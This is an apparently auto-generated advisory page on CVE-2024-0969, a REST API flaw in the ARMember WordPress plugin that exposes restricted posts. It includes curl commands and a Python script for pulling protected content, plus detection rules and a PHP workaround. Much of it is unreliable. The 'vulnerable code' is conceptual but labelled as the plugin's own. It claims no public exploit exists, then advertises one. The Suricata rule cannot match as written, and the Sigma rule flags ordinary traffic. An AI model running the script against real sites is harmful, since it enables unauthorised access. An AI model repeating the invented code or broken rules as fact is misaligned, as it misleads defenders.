CVE-2024-0969
Executive Summary
CVE-2024-0969 is a Sensitive Information Exposure vulnerability in the ARMember WordPress membership plugin (versions up to and including 1.0.21). The flaw resides in the plugin’s REST API implementation, allowing unauthenticated attackers to bypass the “Default Restriction” feature and view restricted post content. This is a WordPress ecosystem issue—the plugin fails to properly enforce access controls on its custom REST endpoints, exposing protected content (e.g., member-only posts, pages, or custom post types) to any unauthenticated user.
The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0% (low exploitation probability as of the advisory date). No public exploit code or Nuclei template is available, but the attack vector is straightforward: an attacker simply sends a crafted REST API request to the vulnerable endpoint without authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider removing or replacing the plugin. The lack of a vendor fix increases supply chain risk, as any site using ARMember ≤1.0.21 is exposed.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Base Score | 5.3 (Medium) |
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality Impact | Low (C:L) |
| Integrity Impact | None (I:N) |
| Availability Impact | None (A:N) |
Threat Level: Medium. The vulnerability is easy to exploit (no auth, low complexity) but only leads to information disclosure of restricted content. It does not allow data modification or privilege escalation.
Deep Dive & Mechanics
The ARMember plugin implements a “Default Restriction” feature that is supposed to block unauthenticated users from viewing certain posts or pages. However, the plugin registers custom REST API routes (e.g., /wp-json/armember/v1/...) that do not properly check user permissions before returning post content. The flaw is in the REST controller’s permission_callback—it either is missing or incorrectly implemented, allowing any request (even without a valid nonce or authentication token) to retrieve restricted data.
Root Cause: The plugin’s REST API endpoint does not validate the wp_rest nonce or check user capabilities before serving content. This bypasses the plugin’s own restriction logic, which normally checks user roles and membership status.
Attack Flow:
- Attacker identifies a WordPress site using ARMember ≤1.0.21.
- Attacker sends a GET request to a restricted post’s REST API endpoint, e.g.,
/wp-json/wp/v2/posts/<ID>or a custom ARMember endpoint. - The server returns the full post content (including title, body, and metadata) without requiring authentication.
- Attacker can scrape all restricted content programmatically.
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is the REST API registration in the plugin. Below is a conceptual comparison based on typical WordPress REST API security patterns.
Vulnerable Code (ARMember ≤1.0.21):
// In class-armember-rest-api.php
register_rest_route('armember/v1', '/content/(?P<id>\d+)', array(
'methods' => 'GET',
'callback' => array($this, 'get_restricted_content'),
// Missing 'permission_callback' => '__return_true' or proper check
));
Patched Code (Hypothetical Fix):
register_rest_route('armember/v1', '/content/(?P<id>\d+)', array(
'methods' => 'GET',
'callback' => array($this, 'get_restricted_content'),
'permission_callback' => function() {
return current_user_can('read') && wp_verify_nonce($_REQUEST['_wpnonce'], 'wp_rest');
}
));
The fix requires adding a permission_callback that checks for a valid nonce and user capability. Without this, any unauthenticated request is accepted.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with ARMember plugin version ≤1.0.21 installed and active.
- At least one post or page set to “Restricted” via the plugin’s settings.
Exploitation Steps:
- Identify the target WordPress site and confirm the plugin version (e.g., via
/wp-content/plugins/armember/readme.txt). - Enumerate restricted posts by browsing the site or using a REST API discovery tool.
- Send an unauthenticated GET request to the REST endpoint:
Or if the plugin uses a custom endpoint:curl -X GET "https://target.com/wp-json/wp/v2/posts/123" -H "User-Agent: Mozilla/5.0"curl -X GET "https://target.com/wp-json/armember/v1/content/123" - If the response contains the full post content (title, content, excerpt), the vulnerability is confirmed.
Automated Script (Python):
import requests
import sys
target = sys.argv[1]
post_id = sys.argv[2]
url = f"{target}/wp-json/wp/v2/posts/{post_id}"
resp = requests.get(url, headers={"User-Agent": "Mozilla/5.0"})
if resp.status_code == 200 and "content" in resp.json():
print("[+] Restricted content exposed:")
print(resp.json()["content"]["rendered"])
else:
print("[-] Not vulnerable or post not found.")
Blue Team (Detection & Hardening)
Detection:
- Monitor REST API access logs for requests to
/wp-json/armember/v1/or/wp-json/wp/v2/posts/from unauthenticated IPs. - Look for spikes in API calls to restricted post IDs.
- Use the Sigma rule below to detect exploitation attempts.
Hardening:
- Immediate: Disable the ARMember plugin until a patch is available.
- Workaround: Add a custom filter to block unauthenticated REST API requests to the plugin’s endpoints:
add_filter('rest_authentication_errors', function($result) { if (!is_user_logged_in() && strpos($_SERVER['REQUEST_URI'], '/armember/') !== false) { return new WP_Error('rest_forbidden', 'Access denied.', array('status' => 401)); } return $result; }); - Long-term: Replace ARMember with an actively maintained membership plugin.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-json/armember/v1/content/or/wp-json/wp/v2/posts/without a validX-WP-Nonceheader. - User-Agent strings from common scraping tools (e.g.,
python-requests,curl,Go-http-client).
- HTTP requests to
- File IOCs:
- Plugin file:
/wp-content/plugins/armember/armember.php(version ≤1.0.21). - REST API class:
/wp-content/plugins/armember/includes/class-armember-rest-api.php.
- Plugin file:
- Log IOCs:
- Web server access logs showing 200 responses to REST API requests for restricted posts from unauthenticated IPs.
- WordPress debug log entries with
rest_authentication_errorsorrest_forbidden(if workaround applied).
Detection Engineering
YARA Rule
rule CVE_2024_0969_ARMember_REST_Bypass {
meta:
description = "Detects ARMember plugin files vulnerable to CVE-2024-0969"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0969"
strings:
$vuln_func = "register_rest_route" nocase
$armember_path = "armember" nocase
$no_permission = "permission_callback" nocase
condition:
$vuln_func and $armember_path and not $no_permission
}
Sigma Rule
title: CVE-2024-0969 ARMember REST API Unauthenticated Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated REST API requests to ARMember plugin endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri|contains:
- '/wp-json/armember/v1/'
- '/wp-json/wp/v2/posts/'
sc-status: 200
condition: selection
falsepositives:
- Legitimate authenticated API calls (rare without nonce)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0969 ARMember REST API Unauthenticated Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/wp-json/armember/v1/"; nocase; http.uri; content:"/wp-json/wp/v2/posts/"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ARMember plugin if it is not critical to operations.
- Apply the workaround (PHP filter) to block unauthenticated REST API access to the plugin’s endpoints.
- Monitor logs for exploitation attempts using the provided Sigma/Suricata rules.
Long-term Actions:
- Replace ARMember with an actively maintained membership plugin (e.g., MemberPress, Paid Memberships Pro).
- Implement a Web Application Firewall (WAF) rule to block requests to
/wp-json/armember/without a valid nonce. - Regularly audit WordPress plugins for known vulnerabilities using tools like WPScan or Wordfence.
Patch Status: No official patch from Armember. Users must rely on workarounds or plugin replacement.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.